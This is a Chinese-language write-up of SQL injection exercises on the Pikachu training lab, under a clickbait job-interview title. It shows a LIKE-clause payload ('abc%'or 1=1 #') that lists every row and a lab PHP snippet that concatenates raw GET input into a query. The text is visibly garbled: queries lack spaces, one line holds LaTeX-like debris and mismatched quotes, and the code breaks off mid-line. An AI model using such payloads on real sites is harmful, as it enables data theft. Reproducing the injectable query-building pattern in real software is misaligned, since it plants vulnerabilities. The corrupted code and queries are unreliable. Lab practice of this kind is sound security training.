Pikachu靶场打靶记录，2024年最新渣本逆袭大厂面经分享

2. 由于提示为%%，所以我们猜测

select from 表名 where username like ’ %k% ';

我们依旧是尝试去构造闭合：
我们输入abc%'or 1=1 #，用%’去与前面的%‘构造闭合，而后面的内容用#注释掉
此时完整语句为：

select from 表名 where username like ’ %abc%'or 1=1 #% ';

输入后发现所有数据都被列出
由此发现，关键在于猜测后台是如何进行拼接的并尝试去构造闭合。

4x04 xx型注入

1. 我们进入后端，访问\WWW\pikachu\vul\sqli\sqli_x.php，其中代码如下：

if(isset($_GET[‘submit’]) && $_GET[‘name’]!=null){
//这里没有做任何处理，直接拼到select里面去了
$name=$_GET[‘name’];
//这里的变量是字符型，需要考虑闭合
$query="selectid,emailfrommemberwhereusername={(}^{\prime }$name’)“;
$result=execute($link, $query);if(mysqli\_num\_rows($result)>=1){
while($data=mysqli\_fet$